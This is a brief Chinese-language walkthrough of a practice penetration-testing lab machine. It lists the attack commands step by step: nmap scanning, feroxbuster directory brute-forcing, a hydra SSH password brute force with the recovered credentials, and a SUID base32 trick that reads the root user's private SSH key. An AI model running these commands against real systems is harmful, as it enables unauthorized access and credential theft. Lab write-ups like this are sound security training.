kali:192.168.111.111
靶机:192.168.111.216
信息收集
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.216
![](https://i-blog.csdnimg.cn/blog_migrate/eede176e138d6e203788e21fb82d218d.png)
7125端口目录爆破
feroxbuster -k -d 2 --url http://192.168.111.216:7125 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php,bak,txt,html,sql,zip,phtml,sh -t 1 -e
![](https://i-blog.csdnimg.cn/blog_migrate/b596fd6659d7f807ec6bad18f066ea3d.png)
passwd文件发现用户名
![](https://i-blog.csdnimg.cn/blog_migrate/3b97b2fbdc6d6813c84f2e9613363b6f.png)
hydra爆破ssh,得到用户密码:geisha|letmein
hydra -l geisha -P /usr/share/wordlists/rockyou.txt 192.168.111.216 -s 22 ssh -t 64
![](https://i-blog.csdnimg.cn/blog_migrate/33ac44d783901a675e4edb7307d9dbf0.png)
提权
查看suid权限的文件
find / -perm -u=s 2> /dev/null
![](https://i-blog.csdnimg.cn/blog_migrate/1b963d34097dbaa598f4ef019639e4e4.png)
发现该命令可以读取任意文件:https://gtfobins.github.io/gtfobins/base32/#suid
![](https://i-blog.csdnimg.cn/blog_migrate/efc9577663842a3a1fff959169c1526f.png)
读取root用户的私钥
LFILE=/root/.ssh/id_rsa
base32 "$LFILE" | base32 --decod
![](https://i-blog.csdnimg.cn/blog_migrate/fa079561f973772f116672c7819fa7e6.png)
使用私钥登录
![](https://i-blog.csdnimg.cn/blog_migrate/721694147ca8a6e77683ad221a6afdcd.png)
flag
![](https://i-blog.csdnimg.cn/blog_migrate/e5df045f9f6091d29f999d57d609559a.png)